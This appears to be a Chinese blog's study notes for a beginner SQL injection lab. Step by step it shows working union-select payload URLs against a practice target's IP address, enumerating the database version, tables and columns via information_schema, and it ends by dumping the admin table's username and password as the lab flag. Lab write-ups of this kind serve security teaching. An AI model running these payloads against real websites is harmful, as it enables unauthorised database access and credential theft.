渗透第一课学习解题过程

重要说明:本文作为学习笔记,仅用于学习交流,请勿用于其它用途,侵删。

目标靶场:http://117.41.229.122:8003/?id=1,此靶场是腾讯课堂免费课程中的演习靶场,此笔记较为基础,请大牛勿喷

先找注点,经过测试

加单引号  '  不正常

加 and 1=1 正常、加 and 1=2不正常

由此可证明  ?id=1 后面的全被执行了,此处存在注入

渗透第一课学习解题过程_第1张图片

利用order by子句进行快速猜解表中的列数,再配合union select语句进行回显。可以通过修改order参数值,再依据回显情况来判断具体表中包含的列数。

 http://117.41.229.122:8003/?id=1%20and%201=1%20order%20by%202 这串URL仔细看就能看明白,首先大家要知道 空格在经过编码后变成了%20,那么这串URL经过解码后是

http://117.41.229.122:8003/?id=1 and 1=1 order by 2

order by 2 返回正常页面,就意味着此页面的列数为2

在不知道列名的情况下可以通过列的的序号来指代相应的列。

我们用union select来回显看下

http://117.41.229.122:8003/?id=1 and 1=2 union select 1,2

渗透第一课学习解题过程_第2张图片

这里请注意了,我为什么用 and 1=2呢?

那是因为,如果我用and 1=1,那么结果为真,页面就是正常显示,我后面select里面的参数就无法回显,所以要让页面不正常,那么我就可以找到回显的列的位置。

由上图可看到,第二个参数2显示在了网页中,那就证明正常的新闻是取的表中第二列的数据,这个数据不是我们关心的,我们是要拿到数据库中更隐私的信息,但是我们可以利用这个数据回显的位置来显示我们想要的数据。

首先我们就爆数据库版本号,假设我通过测试得知这是mysql数据库,至于怎么测试目标站是什么数据库,这个这里就不记录了,网上都有。

使用version()爆数据库版本号

http://117.41.229.122:8003/?id=1 and 1=2 union select 1,version()

版本号:5.5.53
使用database()爆数据库名称

http://117.41.229.122:8003/?id=1 and 1=2 union select 1,database()

数据库名称:maoshe

如下图两个结果

渗透第一课学习解题过程_第3张图片

渗透第一课学习解题过程_第4张图片

 我知道5.5.53的mysql有数据库叫做information_schema,里面有两个表非常有意思,它存储了所有数据库的名称、表。我们就通过这个来查询获得我们要的信息。

mysql自带的数据库information_schema,以及两张可以帮到我们的表tables,columns

tables表中的table_schema列,是存储数据库名称的

tables表中的table_name列,是存储表名的

columns表中的table_schema列,是存储数据库名称的

columns表中的table_name列,是存储表名的

columns表中的column_name列,是存储列名的。

通过以上的信息我们就可以构造一个sql语句获取到目标数据库的所有表名。

group_concat()函数可以将多个字符串连接成一个字符串,默认分隔符为逗号  ,

 http://117.41.229.122:8003/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

maoshe数据库中的所有表为

admin,dirs,news,xss

渗透第一课学习解题过程_第5张图片

其中,damin表属于敏感表,一般存储用户账号密码。

有数据库名,有表名了我们就继续爆某个表的列名。继续构造SQL

 http://117.41.229.122:8003/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin'

admin表中的列为

Id,username,password

渗透第一课学习解题过程_第6张图片

 到这里的时候,我们再想爆出我们要的Flag,就只剩一墙之隔了。

再构造一条SQL用来爆出表的值

 http://117.41.229.122:8003/?id=1 and 1=2 union select 1,group_concat(id,',',username,',',password) from admin

由此可得

ID:1   

username:admin

password:hellohack

渗透第一课学习解题过程_第7张图片

通关秘钥为:hellohack

 

你可能感兴趣的:(渗透学习,渗透学习,WEB安全,SQL注入)